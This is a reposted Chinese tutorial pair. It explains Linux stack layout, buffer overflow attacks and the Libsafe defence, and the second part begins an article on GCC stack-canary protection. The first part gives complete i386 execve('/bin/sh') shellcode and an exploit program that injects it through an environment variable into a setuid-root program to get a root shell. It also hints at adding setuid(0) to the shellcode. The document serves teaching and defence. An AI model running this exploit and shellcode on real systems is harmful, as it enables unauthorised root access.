缓冲区溢出攻击和GCC中的堆栈保护 (转摘)
Linux下缓冲区溢出攻击的原理及对策 王勇 ()北京航空航天大学计算机学院系统软件实验室
2003 年 10 月 01 日
本文首先向读者讲解了Linux下进程地址空间的布局以及进程堆栈帧的结构,然后在此基础上介绍了Linux下缓冲区溢出攻击的原理及对策。
从
逻辑上讲进程的堆栈是由多个堆栈帧构成的,其中每个堆栈帧都对应一个函数调用。当函数调用发生时,新的堆栈帧被压入堆栈;当函数返回时,相应的堆栈帧从堆
栈中弹出。尽管堆栈帧结构的引入为在高级语言中实现函数或过程这样的概念提供了直接的硬件支持,但是由于将函数返回地址这样的重要数据保存在程序员可见的
堆栈中,因此也给系统安全带来了极大的隐患。
历史上最著名的缓冲区溢出攻击可能要算是1988年11月2日的
Morris
Worm所携带的攻击代码了。这个因特网蠕虫利用了fingerd程序的缓冲区溢出漏洞,给用户带来了很大危害。此后,越来越多的缓冲区溢出漏洞被发现。
从bind、wu-ftpd、telnetd、apache等常用服务程序,到Microsoft、Oracle等软件厂商提供的应用程序,都存在着似乎
永远也弥补不完的缓冲区溢出漏洞。
根据绿盟科技提供的漏洞报告,2002年共发现各种操作系统和应用程序的漏洞1830个,其中缓冲区溢出漏洞有432个,占总数的23.6%. 而绿盟科技评出的2002年严重程度、影响范围最大的十个安全漏洞中,和缓冲区溢出相关的就有6个。
在读者阅读本文之前有一点需要说明,文中所有示例程序的编译运行环境为gcc 2.7.2.3以及bash 1.14.7,如果读者不清楚自己所使用的编译运行环境可以通过以下命令查看:
$ gcc -v Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/2.7.2.3/specs gcc version 2.7.2.3 $ rpm -qf /bin/sh bash-1.14.7-16 如果读者使用的是较高版本的gcc或bash的话,运行文中示例程序的结果可能会与这里给出的结果不尽相符,具体原因将在相应章节中做出解释。
为了引起读者的兴趣,我们不妨先来看一个Linux下的缓冲区溢出攻击实例。
#include #include extern char **environ; int main(int argc, char **argv) { char large_string[128]; long *long_ptr = (long *) large_string; int i; char shellcode[] = "\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\\xb0\\x0b" "\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd" "\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh"; for (i = 0; i < 32; i++) *(long_ptr + i) = (int) strtoul(argv[2], NULL, 16); for (i = 0; i < (int) strlen(shellcode); i++) large_string[i] = shellcode[i]; setenv("KIRIKA", large_string, 1); execle(argv[1], argv[1], NULL, environ); return 0; } 图1 攻击程序exec.c #include #include int main(int argc, char **argv) { char buffer[96]; printf("- %p -\\n", &buffer); strcpy(buffer, getenv("KIRIKA")); return 0; } 图2 攻击对象toto.c
将上面两个程序分别编译为可执行程序,并且将toto改为属主为root的setuid程序:
$ gcc exe.c -o exe $ gcc toto.c -o toto $ su Password: # chown root.root toto # chmod +s toto # ls -l exe toto -rwxr-xr-x 1 wy os 11871 Sep 28 20:20 exe* -rwsr-sr-x 1 root root 11269 Sep 28 20:20 toto* # exit 第一次一般不会成功,但是我们可以准确得知系统的漏洞所在――0xbffffc38,第二次必然一击毙命。当我们在新创建的shell下再次执行
whoami命令时,我们的身份已经是root了!由于在所有UNIX系统下黑客攻击的最高目标就是对root权限的追求,因此可以说系统已经被攻破了。
这
里我们模拟了一次Linux下缓冲区溢出攻击的典型案例。toto的属主为root,并且具有setuid属性,通常这种程序是缓冲区溢出的典型攻击目
标。普通用户wy通过其含有恶意攻击代码的程序exe向具有缺陷的toto发动了一次缓冲区溢出攻击,并由此获得了系统的root权限。有一点需要说明的
是,如果读者使用的是较高版本的bash的话,即使通过缓冲区溢出攻击exe得到了一个新的shell,在看到whoami命令的结果后您可能会发现您的
权限并没有改变,具体原因我们将在本文最后一节做出详细的解释。不过为了一睹为快,您可以先使用本文代码包中所带的exe_pro.c作为攻击程序,而不是图1中的exe.c。
要想了解Linux下缓冲区溢出攻击的原理,我们必须首先掌握Linux下进程地址空间的布局以及堆栈帧的结构。
任
何一个程序通常都包括代码段和数据段,这些代码和数据本身都是静态的。程序要想运行,首先要由操作系统负责为其创建进程,并在进程的虚拟地址空间中为其代
码段和数据段建立映射。光有代码段和数据段是不够的,进程在运行过程中还要有其动态环境,其中最重要的就是堆栈。图3所示为Linux下进程的地址空间布
局:
首
先,execve(2)会负责为进程代码段和数据段建立映射,真正将代码段和数据段的内容读入内存是由系统的缺页异常处理程序按需完成的。另
外,execve(2)还会将bss段清零,这就是为什么未赋初值的全局变量以及static变量其初值为零的原因。进程用户空间的最高位置是用来存放程
序运行时的命令行参数及环境变量的,在这段地址空间的下方和bss段的上方还留有一个很大的空洞,而作为进程动态运行环境的堆栈和堆就栖身其中,其中堆栈
向下伸展,堆向上伸展。
知道了堆栈在进程地址空间中的位置,我们再来看一看堆栈中都存放了什么。相信读者对C语
言中的函数这样的概念都已经很熟悉了,实际上堆栈中存放的就是与每个函数对应的堆栈帧。当函数调用发生时,新的堆栈帧被压入堆栈;当函数返回时,相应的堆
栈帧从堆栈中弹出。典型的堆栈帧结构如图4所示。
堆栈帧的顶部为函数的实参,下面是函数的返回地址以及前一个堆
栈帧的指针,最下面是分配给函数的局部变量使用的空间。一个堆栈帧通常都有两个指针,其中一个称为堆栈帧指针,另一个称为栈顶指针。前者所指向的位置是固
定的,而后者所指向的位置在函数的运行过程中可变。因此,在函数中访问实参和局部变量时都是以堆栈帧指针为基址,再加上一个偏移。对照图4可知,实参的偏
移为正,局部变量的偏移为负。
介绍了堆栈帧的结构,我们再来看一下在Intel i386体系结构上堆栈帧是如何实现的。图5和图6分别是一个简单的C程序及其编译后生成的汇编程序。
读者不妨回过头去与图4对比一下。这里有几点需要说明。首先,在Intel
i386体系结构下,堆栈帧指针的角色是由ebp扮演的,而栈顶指针的角色是由esp扮演的。另外,函数function的局部变量buffer[14]
由14个字符组成,其大小按说应为14字节,但是在堆栈帧中却为其分配了16个字节。这是时间效率和空间效率之间的一种折衷,因为Intel
i386是32位的处理器,其每次内存访问都必须是4字节对齐的,而高30位地址相同的4个字节就构成了一个机器字。因此,如果为了填补
buffer[14]留下的两个字节而将sum分配在两个不同的机器字中,那么每次访问sum就需要两次内存操作,这显然是无法接受的。还有一点需要说明
的是,正如我们在本文前言中所指出的,如果读者使用的是较高版本的gcc的话,您所看到的函数function对应的堆栈帧可能和图7所示有所不同。上面
已经讲过,为函数function的局部变量buffer[14]和sum在堆栈中分配空间是通过在图6中第11行对esp进行减法操作完成的,而sub
指令中的20正是这里两个局部变量所需的存储空间大小。但是在较高版本的gcc中,sub指令中出现的数字可能不是20,而是一个更大的数字。应该说这与
优化编译技术有关,在较高版本的gcc中为了有效运用目前流行的各种优化编译技术,通常需要在每个函数的堆栈帧中留出一定额外的空间。
下
面我们再来看一下在函数function中是如何将a、b、c的和赋给sum的。前面已经提过,在函数中访问实参和局部变量时都是以堆栈帧指针为基址,再
加上一个偏移,而Intel
i386体系结构下的堆栈帧指针就是ebp,为了清楚起见,我们在图7中标出了堆栈帧中所有成分相对于堆栈帧指针ebp的偏移。这下图6中12至16的计
算就一目了然了,8(%ebp)、12(%ebp)、16(%ebp)和-20(%ebp)分别是实参a、b、c和局部变量sum的地址,几个简单的
add指令和mov指令执行后sum中便是a、b、c三者之和了。另外,在gcc编译生成的汇编程序中函数的返回结果是通过eax传递的,因此在图6中第
17行将sum的值拷贝到eax中。
最后,我们再来看一下函数function执行完之后与其对应的堆栈帧是如
何弹出堆栈的。图6中第21行的leave指令将堆栈帧指针ebp拷贝到esp中,于是在堆栈帧中为局部变量buffer[14]和sum分配的空间就被
释放了;除此之外,leave指令还有一个功能,就是从堆栈中弹出一个机器字并将其存放到ebp中,这样ebp就被恢复为main函数的堆栈帧指针了。第
22行的ret指令再次从堆栈中弹出一个机器字并将其存放到指令指针eip中,这样控制就返回到了第36行main函数中的addl指令处。addl指令
将栈顶指针esp加上12,于是当初调用函数function之前压入堆栈的三个实参所占用的堆栈空间也被释放掉了。至此,函数function的堆栈帧
就被完全销毁了。前面刚刚提到过,在gcc编译生成的汇编程序中通过eax传递函数的返回结果,因此图6中第38行将函数function的返回结果保存
在了main函数的局部变量i中。
明白了Linux下进程地址空间的布局以及堆栈帧的结构,我们再来看一个有趣的例子。
1 int function(int a, int b, int c) { 2 char buffer[14]; 3 int sum; 4 int *ret; 5 6 ret = buffer + 20; 7 (*ret) += 10; 8 sum = a + b + c; 9 return sum; 10 } 11 12 void main() { 13 int x; 14 15 x = 0; 16 function(1,2,3); 17 x = 1; 18 printf("%d\\n",x); 19 } 在main函数中,局部变量x的初值首先被赋为0,然后调用与x毫无关系的function函数,最后将x的值改为1并打印出来。结果是多少呢,如果我告 诉你是0你相信吗?闲话少说,还是赶快来看看函数function都动了哪些手脚吧。这里的function函数与图5中的function相比只是多了 一个指针变量ret以及两条对ret进行操作的语句,就是它们使得main函数最后打印的结果变成了0。对照图7可知,地址buffer + 20处保存的正是函数function的返回地址,第7行的语句将函数function的返回地址加了10。这样会达到什么效果呢?看一下main函数对 应的汇编程序就一目了然了。 $ gdb example2 (gdb) disassemble main Dump of assembler code for function main: 0x804832c : push %ebp 0x804832d : mov %esp,%ebp 0x804832f : sub $0x4,%esp 0x8048332 : movl $0x0,0xfffffffc(%ebp) 0x8048339 : push $0x3 0x804833b : push $0x2 0x804833d : push $0x1 0x804833f : call 0x80482f8 0x8048344 : add $0xc,%esp 0x8048347 : movl $0x1,0xfffffffc(%ebp) 0x804834e : mov 0xfffffffc(%ebp),%eax 0x8048351 : push %eax 0x8048352 : push $0x80483b8 0x8048357 : call 0x8048284 0x804835c : add $0x8,%esp 0x804835f : leave 0x8048360 : ret 0x8048361 : lea 0x0(%esi),%esi End of assembler dump. 地址为0x804833f的call指令会将0x8048344压入堆栈作为函数function的返回地址,而图8中第7行语句的作用就是将
0x8048344加10从而变成了0x804834e。这么一改当函数function返回时地址为0x8048347的mov指令就被跳过了,而这条
mov指令的作用正是用来将x的值改为1。既然x的值没有改变,我们打印看到的结果就必然是其初值0了。
当然,
图8所示只是一个示例性的程序,通过修改保存在堆栈帧中的函数的返回地址,我们改变了程序正常的控制流。图8中程序的运行结果可能会使很多读者感到新奇,
但是如果函数的返回地址被修改为指向一段精心安排好的恶意代码,那时你又会做何感想呢?缓冲区溢出攻击正是利用了在某些体系结构下函数的返回地址被保存在
程序员可见的堆栈中这一缺陷,修改函数的返回地址,使得一段精心安排好的恶意代码在函数返回时得以执行,从而达到危害系统安全的目的。
说
到缓冲区溢出就不能不提shellcode,shellcode读者已经在图1中见过了,其作用就是生成一个shell。下面我们就来一步步看一下这段令
人眼花缭乱的程序是如何得来的。首先要说明一下,Linux下的系统调用都是通过int $0x80中断实现的。在调用int
$0x80之前,eax中保存了系统调用号,而系统调用的参数则保存在其它寄存器中。图10所示是直接利用系统调用实现的Hello World程序。
#include int errno; _syscall3(int, write, int, fd, char *, data, int, len); _syscall1(int, exit, int, status); _start() { write(0, "Hello world!\\n", 13); exit(0); }
将其编译链接生成可执行程序hello: $ gcc -c hello.c $ ld hello.o -o hello $ ./hello Hello world! $ ls -l hello -rwxr-xr-x 1 wy os 1188 Sep 29 17:31 hello* 有兴趣的读者可以将这个hello的大小和我们当初在第一节C语言课上学过的Hello
World程序的大小比较一下,看看能不能用C语言写出更小的Hello
World程序。图10中的_syscall3和_syscall1都是定义于/usr/include/asm/unistd.h中的宏,该文件中定义
了以__NR_开头的各种系统调用的所对应的系统调用号以及_syscall0到_syscall6六个宏,分别用于参数个数为0到6的系统调用。由此可
知,Linux系统中系统调用所允许的最大参数个数就是6个,比如mmap(2)。另外,仔细阅读syscall0到_syscall6六个宏的定义不难
发现,系统调用号是存放在寄存器eax中的,而系统调用可能会用到的6个参数依次存放在寄存器ebx、ecx、edx、esi、edi和ebp中。
清楚了系统调用的使用规则,我先来看一下如何在Linux下生成一个shell。应该说这是非常简单的任务,使用execve(2)系统调用即可,如图11所示。
#include int main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); _exit(0); }
在shellcode.c中一共用到了两个系统调用,分别是execve(2)和_exit(2)。查看/usr/include/asm
/unistd.h文件可以得知,与其相应的系统调用号__NR_execve和__NR_exit分别为11和1。按照前面刚刚讲过的系统调用规则,在
Linux下生成一个shell并结束退出需要以下步骤:
在内存中存放一个以'\\0'结束的字符串"/bin/sh"; 将字符串"/bin/sh"的地址保存在内存中的某个机器字中,并且后面紧接一个值为0的机器字,这里相当于设置好了图11中name[2]中的两个指针; 将execve(2)的系统调用号11装入eax寄存器; 将字符串"/bin/sh"的地址装入ebx寄存器; 将第2步中设好的字符串"/bin/sh"的地址的地址装入ecx寄存器; 将第2步中设好的值为0的机器字的地址装入edx寄存器; 执行int $0x80,这里相当于调用execve(2); 将_exit(2)的系统调用号1装入eax寄存器; 将退出码0装入ebx寄存器; 执行int $0x80,这里相当于调用_exit(2)。
于是我们就得到了图12所示的汇编程序。
1 void main() 2 { 3 __asm__(" 4 jmp 1f 5 2: popl %esi 6 movl %esi,0x8(%esi) 7 movb $0x0,0x7(%esi) 8 movl $0x0,0xc(%esi) 9 movl $0xb,%eax 10 movl %esi,%ebx 11 leal 0x8(%esi),%ecx 12 leal 0xc(%esi),%edx 13 int $0x80 14 movl $0x1, %eax 15 movl $0x0, %ebx 16 int $0x80 17 1: call 2b 18 .string \\"/bin/sh\\" 19 "); 20 }
这里第4行的 jmp 指令和第 17 行的 call 指令使用的都是 IP 相对寻址方式,第 14 行至第 16 行对应于 _exit(2) 系统调用,由于它比较简单,我们
着重看一下调用 execve(2) 的过程。首先第 4 行的 jmp 指令执行之后控制就转移到了第 17 行的 call 指令处,在 call 指令的执行过程中除了将控 制转移到第 5 行的 pop 指令外,还会将其下一条指令的地址压入堆栈。然而由图 12 可知, call 指令后面并没有后续的指令,而是存放了字符串 "/bin /sh" ,于是实际被压入堆栈的便成了字符串 "/bin/sh" 的地址。第 5 行的 pop 指令将刚刚压入堆栈的字符串地址弹出到 esi 寄存器中。接下来的三 条指令首先将 esi 中的字符串地址保存在字符串 "/bin/sh" 之后的机器字中,然后又在字符串 "/bin/sh" 的结尾补了个 '\\0' ,最后将 0 写 入内存中合适的位置。第 9 行至第 12 行按图 13 所示正确设置好了寄存器 eax 、 ebx 、 ecx 和 edx 的值,在第 13 行就可以调用 execve(2) 了。 但是在编译 shellcodeasm.c 之后,你会发现程序无法运行。原因就在于图 13 中所示的所有数据都存放在代码段中,而在 Linux 下存放代码的页 面是不可写的,于是当我们试图使用图 12 中第 6 行的 mov 指令进行写操作时,页面异常处理程序会向运行我们程序的进程发送一个 SIGSEGV 信号,这样我 们的终端上便会出现 Segmentation fault 的提示信息。
解
决的办法很简单,既然不能对代码段进行写操作,我们就把图12中的代码挪到可写的数据段或堆栈段中。可是一段可执行的代码在数据段中应该怎么表示呢?其
实,内存中存放着的无非是0和1这样的比特,当我们的程序将其用作代码时这些比特就成了代码,而当我们的程序将其用作数据时这些比特又成了数据。我们先来
看一下图12中的代码在内存中是如何存放的,通过gdb中的x命令可以很容易的做到这一点,如图14所示。
$ gdb shellcodeasm
(gdb) disassemble main Dump of assembler code for function main: 0x80482c4 : push %ebp 0x80482c5 : mov %esp,%ebp 0x80482c7 : jmp 0x80482f3 0x80482c9 : pop %esi 0x80482ca : mov %esi,0x8(%esi) 0x80482cd : movb $0x0,0x7(%esi) 0x80482d1 : movl $0x0,0xc(%esi) 0x80482d8 : mov $0xb,%eax 0x80482dd : mov %esi,%ebx 0x80482df : lea 0x8(%esi),%ecx 0x80482e2 : lea 0xc(%esi),%edx 0x80482e5 : int $0x80 0x80482e7 : mov $0x1,%eax 0x80482ec : mov $0x0,%ebx 0x80482f1 : int $0x80 0x80482f3 : call 0x80482c9 0x80482f8 : das 0x80482f9 : bound %ebp,0x6e(%ecx) 0x80482fc : das 0x80482fd : jae 0x8048367 0x80482ff : add %cl,%cl 0x8048301 : ret 0x8048302 : mov %esi,%esi End of assembler dump. (gdb) x /49xb 0x80482c7 0x80482c7 : 0xeb 0x2a 0x5e 0x89 0x76 0x08 0xc6 0x46 0x80482cf : 0x07 0x00 0xc7 0x46 0x0c 0x00 0x00 0x00 0x80482d7 : 0x00 0xb8 0x0b 0x00 0x00 0x00 0x89 0xf3 0x80482df : 0x8d 0x4e 0x08 0x8d 0x56 0x0c 0xcd 0x80 0x80482e7 : 0xb8 0x01 0x00 0x00 0x00 0xbb 0x00 0x00 0x80482ef : 0x00 0x00 0xcd 0x80 0xe8 0xd1 0xff 0xff 0x80482f7 : 0xff
从jmp指令的起始地址0x80482c7到call指令的结束地址0x80482f8,一共49个字节。起始地址为0x80482f8的8个字节
的内存单元中实际存放的是字符串"/bin/sh",因此我们在那里看到了几条奇怪的指令。至此,我们的shellcode已经初具雏形了,但是还有几处
需要改进。首先,将来我们要通过strcpy(3)这种存在安全隐患的函数将上面的代码拷贝到某个内存缓冲区中,而strcpy(3)在遇到内容为
'\\0'的字节时就会停止拷贝。然而从图14中可以看到,我们的代码中有很多这样的'\\0'字节,因此需要将它们全部去掉。另外,某些指令的长度可以
缩减,以使得我们的shellcode更加精简。按照图15所列的改进方案,我们便得到了图16中最终的shellcode。
存在问题的指令 改进后的指令 movb $0x0,0x7(%esi) xorl %eax,%eax molv $0x0,0xc(%esi) movb %eax,0x7(%esi) movl %eax,0xc(%esi) movl $0xb,%eax movb $0xb,%al movl $0x1, %eax xorl %ebx,%ebx movl $0x0, %ebx movl %ebx,%eax inc %eax void main() { __asm__(" jmp 1f 2: popl %esi movl %esi,0x8(%esi) xorl %eax,%eax movb %eax,0x7(%esi) movl %eax,0xc(%esi) movb $0xb,%al movl %esi,%ebx leal 0x8(%esi),%ecx leal 0xc(%esi),%edx int $0x80 xorl %ebx,%ebx movl %ebx,%eax inc %eax int $0x80 1: call 2b .string \\"/bin/sh\\" "); } 同样,按照上面的方法再次查看内存中的shellcode代码,如图16所示。我们在图16中再次列出了图1 用到过的shellcode,有兴趣的读者不妨比较一下。
$ gdb shellcodeasm2 (gdb) disassemble main Dump of assembler code for function main: 0x80482c4 : push %ebp 0x80482c5 : mov %esp,%ebp 0x80482c7 : jmp 0x80482e8 0x80482c9 : pop %esi 0x80482ca : mov %esi,0x8(%esi) 0x80482cd : xor %eax,%eax 0x80482cf : mov %al,0x7(%esi) 0x80482d2 : mov %eax,0xc(%esi) 0x80482d5 : mov $0xb,%al 0x80482d7 : mov %esi,%ebx 0x80482d9 : lea 0x8(%esi),%ecx 0x80482dc : lea 0xc(%esi),%edx 0x80482df : int $0x80 0x80482e1 : xor %ebx,%ebx 0x80482e3 : mov %ebx,%eax 0x80482e5 : inc %eax 0x80482e6 : int $0x80 0x80482e8 : call 0x80482c9 0x80482ed : das 0x80482ee : bound %ebp,0x6e(%ecx) 0x80482f1 : das 0x80482f2 : jae 0x804835c 0x80482f4 : add %cl,%cl 0x80482f6 : ret 0x80482f7 : nop End of assembler dump. (gdb) x /38xb 0x80482c7 0x80482c7 : 0xeb 0x1f 0x5e 0x89 0x76 0x08 0x31 0xc0 0x80482cf : 0x88 0x46 0x07 0x89 0x46 0x0c 0xb0 0x0b 0x80482d7 : 0x89 0xf3 0x8d 0x4e 0x08 0x8d 0x56 0x0c 0x80482df : 0xcd 0x80 0x31 0xdb 0x89 0xd8 0x40 0xcd 0x80482e7 : 0x80 0xe8 0xdc 0xff 0xff 0xff char shellcode[] = "\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\\xb0\\x0b" "\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd" "\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh"; 我猜当你看到这里时一定也像我当初一样已经热血沸腾、迫不及待了吧?那就赶快来试一下吧。
char shellcode[] = "\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\\xb0\\x0b" "\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd" "\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh"; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } $ gcc testsc.c -o testsc $ ./testsc bash$
下面我们该回头看看本文开头的那个Linux下缓冲区溢出攻击实例了。攻击程序exe.c利用了系统中存在漏洞的程序toto.c,通过以下步骤向系统发动了一次缓冲区溢出攻击:
通过命令行参数argv[2]得到toto.c程序中缓冲区buffer[96]的地址,并将该地址填充到large_string[128]中; 将我们已经准备好的shellcode拷贝到large_string[128]的开头; 通过环境变量KIRIKA将我们的shellcode注射到buffer[96]中; 当toto.c程序中的main函数返回时,buffer[96]中的shellcode得以运行;由于toto的属主为root,并且具有setuid属性,因此我们得到的shell便具有了root权限。
程
序exe.c的控制流程与图19所示程序testsc.c的控制流程非常相似,唯一的不同在于这次我们的shellcode是寄宿在toto运行时的堆栈
里,而不是在数据段中。之所以不能再将shellcode放在数据段中是因为当我们在程序exe.c中调用execle(3)
运行toto时,进程整个地址空间的映射会根据toto程序头部的描述信息重新设置,而原来的地址空间中数据段的内容已经不能再访问了,因此在程序
exe.c中shellcode是通过环境变量来传递的。
怎么样,是不是感觉传说中的黑客不再像你想象的那样神
秘了?暂时不要妄下结论,在上面的缓冲区溢出攻击实例中,攻击程序exe之所以能够准确的将shellcode注射到toto的buffer[96]中,
关键在于我们在toto程序中打印出了buffer[96]在堆栈中的起始地址。当然,在实际的系统中,不要指望有像toto这样家有丑事还自揭疮疤的事
情发生。
了解了缓冲区溢出攻击的原理,接下来要做的显然就是要找出克敌之道。这里,我们主要介绍一种非常简单但是又比较流行的方法――Libsafe。
在
标准C库中存在着很多像strcpy(3)这种用于处理字符串的函数,它们将一个字符串拷贝到另一个字符串中。对于何时停止拷贝,这些函数通常只有一个判
断标准,即是否遇上了'\\0'字符。然而这个唯一的标准显然是不够的。我们在上一节刚刚分析过的Linux下缓冲区溢出攻击实例正是利用
strcpy(3)对系统实施了攻击,而strcpy(3)的缺陷就在于在拷贝字符串时没有将目的字符串的大小这一因素考虑进来。像这样的函数还有很多,
比如strcat、gets、scanf、sprintf等等。统计数据表明,在已经发现的缓冲区溢出攻击案例中,肇事者多是这些函数。正是基于上述事
实,Avaya实验室推出了Libsafe。
在现在的Linux系统中,程序链接时所使用的大多都是动态链接
库。动态链接库本身就具有很多优点,比如在库升级之后,系统中原有的程序既不需要重新编译也不需要重新链接就可以使用升级后的动态链接库继续运行。除此之
外,Linux还为动态链接库的使用提供了很多灵活的手段,而预载(preload)机制就是其中之一。在Linux下,预载机制是通过环境变量
LD_PRELOAD的设置提供的。简单来说,如果系统中有多个不同的动态链接库都实现了同一个函数,那么在链接时优先使用环境变量LD_PRELOAD
中设置的动态链接库。这样一来,我们就可以利用Linux提供的预载机制将上面提到的那些存在安全隐患的函数替换掉,而Libsafe正是基于这一思想实
现的。
图20所示的testlibsafe.c是一段非常简单的程序,字符串buf2[16]中首先被写满了
'A',然后再通过strcpy(3)将其拷贝到buf1[8]中。由于buf2[16]比buf1[8]要大,显然会发生缓冲区溢出,而且很容易想到,
由于'A'的二进制表示为0x41,所以main函数的返回地址被改为了0x41414141。这样当main返回时就会发生Segmentation
fault。
#include void main() { char buf1[8]; char buf2[16]; int i; for (i = 0; i < 16; ++i) buf2[i] = 'A'; strcpy(buf1, buf2); } $ gcc testlibsafe.c -o testlibsafe $ ./testlibsafe Segmentation fault (core dumped) 下面我们就来看一看Libsafe是如何保护我们免遭缓冲区溢出攻击的。首先,在系统中安装Libsafe,本文的附件中提供了其2.0版的安装包。 $ su Password: # rpm -ivh libsafe-2.0-2.i386.rpm libsafe ################################################## # exit 至此安装还没有结束,接下来还要正确设置环境变量LD_PRELOAD。 $ export LD_PRELOAD=/lib/libsafe.so.2 下面就可以来试试看了。 $ ./testlibsafe Detected an attempt to write across stack boundary. Terminating /home2/wy/projects/overflow/bof/testlibsafe. uid=1011 euid=1011 pid=9481 Call stack: 0x40017721 0x4001780a 0x8048328 0x400429c6 Overflow caused by strcpy() 可以看到,Libsafe正确检测到了由strcpy()函数导致的缓冲区溢出,其uid、euid和pid,以及进程运行时的Call
stack也被一并列出。另外,这些信息不光是在终端上显示,还会被记录到系统日志中,这样系统管理员就可以掌握潜在的攻击来源并及时加以防范。
那么,有了Libsafe我们就可以高枕无忧了吗?千万不要有这种天真的想法,在计算机安全领域入侵与反入侵的较量永远都不会停止。其实Libsafe为我
们提供的保护可以被轻易的破坏掉。由于Libsafe的实现依赖于Linux系统为动态链接库所提供的预载机制,因此对于使用静态链接库的具有缓冲区溢出
漏洞的程序Libsafe也就无能为力了。
$ gcc -static testlibsafe.c -o testlibsafe_static $ env | grep LD LD_PRELOAD=/lib/libsafe.so.2 $ ./testlibsafe_static Segmentation fault (core dumped) 如果在使用gcc编译时加上-static选项,那么链接时使用的便是静态链接库。在系统已经安装了Libsafe的情况下,可以看到testlibsafe_static再次产生了Segmentation fault。
另
外,正如我们在本文前言中所指出的那样,如果读者使用的是较高版本的bash的话,那么即使您在运行攻击程序exe之后得到了一个新的shell,您可能
会发现并没有得到您所期望的root权限。其实这正是的高版本bash的改进之一。由于近十年来缓冲区溢出攻击屡见不鲜,而且大部分的攻击对象都是系统中
属主为root的setuid程序,以借此获得root权限。因此以root权限运行系统中的程序是十分危险的。为此,在新的POSIX.1标准中增加了
一个名为seteuid(2)的系统调用,其作用在于改变进程的effective
uid。而新版本的bash也都纷纷采用了这一技术,在bash启动运行之初首先通过调用seteuid(getuid())将bash的运行权限恢复为
进程属主的权限,这样就出现了我们在高版本bash中运行攻击程序exe所看到的结果。那么高版本的bash就已经无懈可击了吗?其实不然,只要在通过
execve(2)创建shell之前先调用setuid(0)将进程的uid也改为0,bash的这一改进也就徒劳无功了。也就是说,你所要做的就是遵
照前面所讲的系统调用规则将setuid(0)加入到shellcode中,而新版shellocde的这一改进只需要很少的工作量。附件中的
shellcodeasm3.c和exe_pro.c告诉了你该如何去做。
安全
有两种不同的表现形式,一种是如果你所使用的系统在安全上存在漏洞,但是黑客们对此一无所知,那么你可以暂且认为你的系统是安全的;另一种是黑客和你都发
现了系统中的安全漏洞,但是你会想方设法将漏洞弥补上,使你的系统真正无懈可击。你想要的是哪一种呢?圣经上的一句话给出了这个问题的答案,而这句话也被
刻在了美国中央情报局大厅的墙壁上:“你应当了解真相,真相会使你自由。”
参考资料 * Aleph One. Smashing The Stack For Fun And Profit. * Pierre-Alain FAYOLLE, Vincent GLAUME. A Buffer Overflow Study -- Attacks & Defenses. * Taeho Oh. Advanced buffer overflow exploit. * 绿盟科技(nsfocus). NSFOCUS 2002年十大安全漏洞, 2002, http://www.nsfocus.net/index.php?act=sec_bug&do=top_ten * 王卓威。基于系统行为模式的缓冲区溢出攻击检测技术。 * developerWorks上的 《使您的软件运行起来:防止缓冲区溢出》为您列出了标准C库中所有存在安全隐患的函数以及对这些函数的使用建议。 * 毛德操,胡希明的《Linux内核源代码情景分析》向读者介绍了Linux下嵌入式汇编语言的语法。 * W.Richard Stevens的《Advanced Programming in the UNIX Environment》为您详细介绍了uid和effective uid的概念以及setuid(2)和seteuid(2)等相关函数的用法。 * Joel Scambray, Stuart McClure, George Kurtz的《Hacking Exposed》向读者介绍了网络安全的方方面面,从而使读者对网络安全有更多的了解,知道如何去加强安全性。 * Intel. Intel Architecture Software Developer's Manual. Intel Corporation. 关于作者 王勇,现在北京航空航天大学计算机学院系统软件实验室攻读计算机硕士学位,主要研究领域为操作系统及分布式文件系统。可以通过 yongwang@buaa.edu.cn与他联系。 GCC 中的编译器堆栈保护技术 何文垒 (), 软件开发实习生, IBM 中国系统科技实验室
2009 年 5 月 31 日
以堆栈溢出为代表的缓冲区溢出攻击已经成为一种普遍的安全漏洞和攻击手段。本文首先对编译器层面的堆栈保护技术作简要介绍,然后通过实例来展示 GCC 中堆栈保护的实现方式和效果。最后介绍一些 GCC 堆栈保护的缺陷和局限。
以堆栈溢出为代表的缓冲区溢出已成为最为普遍的安全漏洞。由此引发的安全问题比比皆是。早在 1988
年,美国康奈尔大学的计算机科学系研究生莫里斯 (Morris) 利用 UNIX fingered
程序的溢出漏洞,写了一段恶意程序并传播到其他机器上,结果造成 6000 台 Internet 上的服务器瘫痪,占当时总数的
10%。各种操作系统上出现的溢出漏洞也数不胜数。为了尽可能避免缓冲区溢出漏洞被攻击者利用,现今的编译器设计者已经开始在编译器层面上对堆栈进行保
护。现在已经有了好几种编译器堆栈保护的实现,其中最著名的是 StackGuard 和 Stack-smashing Protection
(SSP,又名 ProPolice)。
我们知道攻击者利用堆栈溢出漏洞时,通常会破坏当前的函数栈。例如,攻击者利用清单 1
中的函数的堆栈溢出漏洞时,典型的情况是攻击者会试图让程序往 name
数组中写超过数组长度的数据,直到函数栈中的返回地址被覆盖,使该函数返回时跳转至攻击者注入的恶意代码或 shellcode
处执行(关于溢出攻击的原理参见《Linux 下缓冲区溢出攻击的原理及对策》)。溢出攻击后,函数栈变成了图 2 所示的情形,与溢出前(图 1)比较可以看出原本堆栈中的 EBP,返回地址已经被溢出字符串覆盖,即函数栈已经被破坏。
int vulFunc() { char name[10]; //… return 0; }
如果能在运行时检测出这种破坏,就有可能对函数栈进行保护。目前的堆栈保护实现大多使用基于 “Canaries” 的探测技术来完成对这种破坏的检测。
要检测对函数栈的破坏,需要修改函数栈的组织,在缓冲区和控制信息(如 EBP 等)间插入一个 canary
